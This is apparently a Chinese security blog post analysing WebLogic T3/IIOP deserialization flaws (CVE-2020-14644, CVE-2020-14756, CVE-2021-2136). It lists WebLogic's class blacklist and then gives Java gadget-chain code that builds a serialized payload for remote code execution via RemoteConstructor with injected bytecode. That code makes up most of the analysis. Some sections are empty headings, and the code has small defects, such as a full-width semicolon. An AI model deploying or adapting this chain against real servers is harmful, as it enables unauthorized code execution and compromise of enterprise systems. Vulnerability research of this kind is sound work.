【技术推荐】WebLogic 反序列化漏洞深入分析

WebLogic 在早期修复 T3 和 IIOP 的反序列化都是采用黑名单的方式修复，黑名单可以是类名，也可以是包名，以下是截止到 202110 的黑名单的列表，想要跟踪 WebLogic的 CVE,首先要做的就是看补丁把谁拉进黑名单了。

javaorg.apache.commons.collections.functors
com.sun.org.apache.xalan.internal.xsltc.trax
javassist
java.rmi.activation
sun.rmi.server
org.jboss.interceptor.builder
org.jboss.interceptor.reader
org.jboss.interceptor.proxy
org.jboss.interceptor.spi.metadata
org.jboss.interceptor.spi.model
com.bea.core.repackaged.springframework.aop.aspectj
com.bea.core.repackaged.springframework.aop.aspectj.annotation
com.bea.core.repackaged.springframework.aop.aspectj.autoproxy
com.bea.core.repackaged.springframework.beans.factory.support
org.python.core
com.bea.core.repackaged.aspectj.weaver.tools.cache
com.bea.core.repackaged.aspectj.weaver.tools
com.bea.core.repackaged.aspectj.weaver.reflect
com.bea.core.repackaged.aspectj.weaver
com.oracle.wls.shaded.org.apache.xalan.xsltc.trax
oracle.eclipselink.coherence.integrated.internal.querying
oracle.eclipselink.coherence.integrated.internal.cache
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
org.springframework.transaction.support.AbstractPlatformTransactionManager
java.rmi.server.UnicastRemoteObject
java.rmi.server.RemoteObjectInvocationHandler
com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager
java.rmi.server.RemoteObject
com.tangosol.coherence.rest.util.extractor.MvelExtractor
java.lang.Runtime
oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor
org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor
org.eclipse.persistence.internal.descriptors.InstanceVariableAttributeAccessor
org.apache.commons.fileupload.disk.DiskFileItem
org.jboss.weld.interceptor.builder.MethodReference
org.jboss.weld.interceptor.spi.metadata.MethodMetadata
oracle.jdbc.pool.OraclePooledConnection
com.google.common.util.concurrent.AtomicDoubleArray
com.tangosol.internal.util.invoke
com.tangosol.internal.util.invoke.lambda
com.tangosol.coherence.rest.util.extractor
com.tangosol.coherence.rest.util
com.tangosol.util.extractor
com.tangosol.coherence.component.application.console
com.tangosol.util.extractor.ReflectionExtractor
com.tangosol.internal.util.SimpleBinaryEntry
com.tangosol.util.extractor.ComparisonValueExtractor
com.tangosol.util.extractor.ConditionalExtractor
com.tangosol.util.extractor.ReflectionUpdater
com.tangosol.util.extractor.ScriptValueExtractor
com.tangosol.util.extractor.UniversalExtractor
com.tangosol.util.extractor.UniversalUpdater
com.tangosol.coherence.component.util.daemon.queueProcessor.service.grid.partitionedService.PartitionedCache$Storage$BinaryEntry

WebLogic 修复 CVE-2020-14644 的方式是将com.tangosol.internal.util.invoke.RemoteConstructor 拉入了黑名单，简单跟踪下 RemoteConstructor 的反序列化过程，看看是因为什么原因被拉进黑名单。

发现存在 readResolve 方法，该方法会在反序列化后执行。

CVE-2020-14756分析

CVE-2021-2136分析

因为最终的利用方法不在 readExternal 方法中，需要构造一条调用链，同时需要注意SimpleBinaryEntry仅在readExternal 中能获取 binkey 和 binvalue 的值。

根据 PermissionInfo 到 SimpleBinaryEntry 构造一条通路，最终二阶反序列化 RemoteConstructor 类进行 RCE。

String SIGALG = "SHA1withRSA";
KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
KeyPair kp = kpg.generateKeyPair();
SignedObject so1 = new SignedObject("Hello", kp.getPrivate(), Signature.getInstance(SIGALG));
Object o1 = new PermissionInfo();
Class cz = o1.getClass();
Field f1 = cz.getDeclaredField("m_sServiceName");
f1.setAccessible(true);
f1.set(o1,"thisisceshi");
Field f2 = cz.getDeclaredField("m_signedPermission");
f2.setAccessible(true);
f2.set(o1,so1);
// 第一个类PermissionInfo


Subject s1 = new Subject();
HashSet hs = new HashSet();


Class cz1 = s1.getClass();
Field f3 = cz1.getDeclaredField("principals");
f3.setAccessible(true);


Field f4 = cz1.getDeclaredField("pubCredentials");
f4.setAccessible(true);


//第二个类Subject


ConditionalPutAll cp = new ConditionalPutAll();
NullFilter nf = new NullFilter();
LiteMap lm = new LiteMap();
com.sun.org.apache.xpath.internal.objects.XString x1 = new com.sun.org.apache.xpath.internal.objects.XString("");
Binary bb = ExternalizableHelper.toBinary(getRemote());
SimpleBinaryEntry sb = new SimpleBinaryEntry(bb,bb);
lm.put(sb,"qqqq");
lm.put(x1,"wwww");
Class cps = cp.getClass();
Field cpsf1 = cps.getDeclaredField("m_filter");
Field cpsf2 = cps.getDeclaredField("m_map");
cpsf1.setAccessible(true);
cpsf2.setAccessible(true);
cpsf1.set(cp,nf);
cpsf2.set(cp,lm);
hs.add(cp);
f3.set(s1,hs);
f4.set(s1,hs);


Field f5 = cz.getDeclaredField("m_subject");
f5.setAccessible(true);
f5.set(o1,s1);


return o1;

总结: 一个渐变的过程

最终的利用链

java public static Object getDaMap() throws Exception { 
       HashMap hm = new HashMap();
       HashMap hm1 = new HashMap();
       Object ox = getRemote();
       Binary b1 = ExternalizableHelper.toBinary(ox);
       hm1.put("kk",b1);
       DeltaMap dm = new DeltaMap();
       Map m1 = (Map)getTkmap();        
       Field f1 = dm.getClass().getDeclaredField("__m_DeleteMap"); 
       f1.setAccessible(true);        
       f1.set(dm,hm);        
       Field f2 = dm.getClass().getDeclaredField("__m_InsertMap");
       f2.setAccessible(true);        
       f2.set(dm,hm);        
       Field f3 = dm.getClass().getDeclaredField("__m_OriginalMap");
       f3.setAccessible(true);        
       f3.set(dm,hm1);        
       Field f4 = dm.getClass().getDeclaredField("__m_ReadMap");        
       f4.setAccessible(true);        
       f4.set(dm,m1);        
       Field f5 = dm.getClass().getDeclaredField("__m_RepeatableRead");
       f5.setAccessible(true);
       f5.set(dm,true);        
       Field f6 = dm.getClass().getDeclaredField("__m_UpdateMap");
       f6.setAccessible(true);        
       f6.set(dm,hm);        
       return dm;
 }
 public static Object getRemote() {        
       try{            
           ClassIdentity classIdentity = new ClassIdentity(attach.test2.class);
           ClassPool cp = ClassPool.getDefault();            
           CtClass ctClass = cp.get(attach.test2.class.getName());            
           ctClass.replaceClassName(attach.test2.class.getName(), attach.test2.class.getName() + "$" + classIdentity.getVersion());            
           ctClass.defrost();            
           RemoteConstructor constructor = new RemoteConstructor(
                   new ClassDefinition(classIdentity, ctClass.toBytecode()),                    
                   new Object[]{}            
                   );            
                   return constructor;        
                   }catch (Exception e)        
                   {            
                      e.printStackTrace();
                    }        
                    return null;    
      }
  public static Object getTkmap() throws Exception {        
           ClassPool pool = ClassPool.getDefault();        
           CtClass ct1 = pool.get("com.tangosol.coherence.transaction.internal.storage.KeyBackingMap");        
           ct1.defrost();        
           CtConstructor constructor1 = CtNewConstructor.make("public KeyBackingMap(){}", ct1);        
           ct1.addConstructor(constructor1);        
           CtField ctFieldNew = new CtField(CtClass.longType,"serialVersionUID",ct1);        
           ctFieldNew.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL);        
           ct1.addField(ctFieldNew,"7477261672381517136");        
           Class<?> clazz = ct1.toClass();        
           CtClass ct = pool.get("com.tangosol.coherence.component.util.daemon.queueProcessor.Service");        
           CtClass oot = pool.get("java.io.ObjectOutputStream");        
           CtMethod cc3 = ct.getDeclaredMethod("writeObject",new CtClass[]{oot});        
           System.out.println(cc3);        
           ct.removeMethod(cc3);        
           ct.toClass();        
           LocalCache lc = new LocalCache();        
           Field fm = lc.getClass().getDeclaredField("__m_ResourceRegistry");        
           fm.setAccessible(true);        
           fm.set(lc,null);        
           Coherence$CacheItem ccat = new Coherence$CacheItem();        
           ReplicatedCache d = new ReplicatedCache("ddd",lc,false);        
           d._removeAllChildren();        
           setFV(d,"__m__Parent",ccat);        
           setFV(lc,"__m__Parent",ccat);        
           Field f1 = d.getClass().getSuperclass().getSuperclass().getDeclaredField("__m_SerializerMap");        
           f1.setAccessible(true);        
           f1.set(d,null);        
           ReplicatedCache$BackingMapContext rb = new ReplicatedCache$BackingMapContext();        
           setFV(rb,"__m__Parent",d);        
           KeyBackingMap kb = (KeyBackingMap)clazz.newInstance();        
           Class cz11  = kb.getClass();        
           Field f11 =  cz11.getDeclaredField("m_context");        
           f11.setAccessible(true);        
           f11.set(kb,rb);        
           Field f21 = cz11.getDeclaredField("m_sTable");        
           f21.setAccessible(true);        
           f21.set(kb,"tceshi");        
           Field f31 = cz11.getDeclaredField("m_sService");        
           f31.setAccessible(true);        
           f31.set(kb,"yyds");        
           return kb；    
      }
  public static Object getMapObject() throws Exception {        
           HashMap hm = new HashMap();        
           hm.put("dd","ff");        
           DeltaMap oo = (DeltaMap)getDaMap();        
           TiedMapEntry tiedMapEntry = new TiedMapEntry(oo,"kk");        
           BadAttributeValueExpException bve = new BadAttributeValueExpException("cdcd");        
           Field fs = bve.getClass().getDeclaredField("val");        
           fs.setAccessible(true);        
           fs.set(bve,tiedMapEntry);        
           return bve;
     }
public static void main(String[] args) throws Exception {        
           Object o1 = getMapObject();
}